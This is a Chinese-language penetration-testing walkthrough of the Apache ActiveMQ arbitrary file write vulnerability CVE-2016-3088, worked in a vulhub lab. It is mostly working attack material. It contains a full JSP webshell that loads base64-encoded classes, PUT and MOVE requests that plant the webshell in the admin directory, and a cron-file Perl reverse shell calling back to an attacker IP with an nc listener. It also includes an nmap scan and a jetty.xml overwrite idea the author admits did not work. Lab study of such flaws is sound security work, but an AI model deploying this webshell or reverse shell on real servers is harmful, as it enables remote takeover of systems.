漏洞描述
1、漏洞编号:CVE-2016-3088
2、影响版本:Apache ActiveMQ 5.x~5.13.0
在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默认关闭了 fileserver 这个应用(不过,可以在conf/jetty.xml 中开启);在 5.14.0 版本后,彻底删除了 fileserver 应用。【所以在渗透测试过程中要确定好 ActiveMQ 的版本,免去无用功】
漏洞介绍
该漏洞出现在 fileserver 应用中,漏洞原理是 fileserver 支持写入文件(但不解析 jsp),同时支持移动文件(MOVE 请求)。所以我们只需写入一个文件,然后使用 MOVE 请求将其移动到任意位置,造成任意文件写入漏洞。
写入文件方法
- 写入 webshell
- 写入 cron 或 ssh key 等文件
- 写入 jar 或 jetty.xml 等库和配置文件
启动漏洞环境
docker-compose up -d
docker-compose ps
访问 WEB 页面,版本在漏洞影响范围内
方法一:写入 webshell
【该方法的使用条件】
1、需要知道 ActiveMQ 的绝对路径
2、需要能登录 admin 或者 api
【分析条件】
1、ActiveMQ 的绝对路径可以通过 http://your-ip:8161/admin/test/systemProperties.jsp 页面获取,不过该页面需要登录才能访问。
2、获取用户名和密码,可以通过弱口令、暴力破解、社工等方法(不过题目已经给出了默认用户名和密码 admin/admin,这里就省去了这个步骤)
【解题思路】
进入页面
下一步,上传 webshell
需要把 webshell 上传到 fileserver,然后才能从 fileserver 转移。因为 ActiveMQ 是个 java 程序,因此需要传个 jsp webshell
直接在上图页面抓包即可,下面是刚抓到包后的样子,接下来对数据包进行修改
这是我们的 webshell 代码
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
修改成下图所示,然后发送即可得到响应(204 表示操作成功)
然后在上面基础上继续修改该包,把 PUT 改成 MOVE ,然后在下一行添加
Destination: file:///opt/activemq/webapps/admin/1.jsp
用 MOVE 方法将 webshell 移动到 admin 所在文件夹,响应 204 表示操作成功
【当然了,移动到 api 下也是可以的,我这边移动到 admin 目录下】
接下来就可以使用蚁剑进行连接了【这里用的是 kali 中的蚁剑】
不知道 kali 中怎么使用蚁剑的看这里
VMware之kali安装中国蚁剑_kali如何打开蚁剑-CSDN博客
重点是记住 admin 应用是需要登录的,所以记得一定要在连接中添加 Authorization 头。
Authorization:YWRtaW46YWRtaW4=
测试连接,连接成功
方法二:写入 ssh key
【前提条件】
1、需要运行 ActiveMQ 的用户有 root 权限
2、需要服务器开启了 ssh 服务,并且攻击机可以连接
【分析条件】
1、
发现该用户是 root 权限,条件一满足
2、可以使用 nmap 工具来探测服务器是否开启了 ssh 且可达
nmap -sV your-ip -p-
发现只开启了 8161、61616 端口且可达,没有开启 ssh 服务,所以条件二不满足,写入 ssh key 的方法行不通
方法三:写入 cron 拿反弹 shell
【前提条件】
1、需要运行 ActiveMQ 的用户有 root 权限
2、服务器开启了 cron 服务
3、运行 ActiveMQ 的用户有使用 crontab 的权限
【拓展】
1、cron 是 Linux 系统的守护进程,用于在特定时间自动执行重复任务。
2、标准 shell 是攻击者作为客户端去连接目标服务器;反弹 shell 是攻击者作为服务器,监听某端 口,而目标设备作为客户端主动连接攻击者
应用场景:
①、目标机在局域网内
②、目标机 ip 地址是动态的
③、有防火墙等限制,目标机只能发请求,不能收请求
④、不确定目标机何时具备连接条件
【条件分析】
1、前面已经分析过了,确实是 root 权限
2、经过下列分析得到开启了 cron 服务(root 权限对该文件可读可写)
3、第三点条件默认情况是满足的,除非存在 cron.allow 或者 cron.deny 文件,但这两个文件在 vulhub 提供的漏洞环境中不存在,因此理论上可以写入 cron 拿反弹 shell
【cron.allow 文件和 cron.deny 文件】
cron.allow 和 cron.deny 是限制 crontab 命令使用的用户名单。allow 是允许使用 crontab 命令的用户,deny 是不允许使用 crontab 命令的用户。
两份文件不一定都存在,在 Linux 中,会做如下规定:
(1)如果 cron.allow 文件存在但 cron.deny 文件不存在,那么在文件中写下的用户名,允许执行 crontab 命令。
(2)如果 cron.deny 文件存在但 cron.allow 文件不存在,那么在文件中写下的用户名,不允许执行 crontab 命令。
(3)如果两份文件都存在,那么只有 allow 文件具备优先权,只能使用 allow 文件来做限定用户。
(4)如果两份文件都不存在,那么会根据相关配置文件(depending on site-dependent configuration parameters),要么只有 root 用户允许执行该命令,要么所有的用户都能执行该命令。
【解题思路】
1、上传 cron 文件到 fileserver
2、把 cron 文件从 fileserver 移动到 /etc/cron.d/
2、攻击机上开启监听并等待反弹 shell 连接
反弹shell的方法总结 - FreeBuf网络安全行业门户
【内容截取自:vulhub ActiveMQ任意文件写入漏洞 (CVE-2016-3088) - FreeBuf网络安全行业门户】
/etc/cron.d 攻略_51CTO博客_/etc/cron.hourly
反弹 shell 内容:
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
抓包上传
PUT /fileserver/cron.txt HTTP/1.1
Host: 0.0.0.0:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jiz
Upgrade-Insecure-Requests: 1
Content-Length: 254
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
上传成功,移动文件到目标目录中
MOVE /fileserver/cron.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 0.0.0.0:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=11siqqdhx6onj9w5jslkl7jiz
Upgrade-Insecure-Requests: 1
Content-Length: 254
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.43.69";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
在终端输入
nc -l -p 7777
输入完后等待即可
可以做一些操作
方法四:修改 jetty.xml
【前提条件】
1、需要知道 ActiceMQ 的绝对路径
2、需要有 jetty.xml 的写权限
【分析】
使用该方法主要是来突破 admin 应用和 api 应用的访问控制权限。大概就是修改 jetty.xml 文件。使 admin 和 api 应用不用登录,然后写入webshell
(通过大佬的文章还提供了另一种思路:修改 jetty-realm.properties 文件中的用户密码,不过由于 jetty.xml 中限制了用户名,所以修改 jetty-realm.properties 文件的方法还需要一个前提是知道用户名,这个方法相对上面那个麻烦)
【完整的攻击思路】
1、获取 ActiveMQ 的绝对路径
2、上传修改后的 jetty.xml 文件到 fileserver
3、转移上传的 jetty.xml 文件到 ActiveMQ 的绝对路径 /conf/jetty.xml,覆盖原本的 jetty.xml 文件,目的是绕过 admin 和 api 的登录
4、上传 webshell 到 fileserver
5、转移 webshell 到 admin 或 api 的目录下
6、连接 webshell
【目前我也没成功,也没有找到有成功的文章,都是写理论上可行,有推荐的兄弟和我说一下】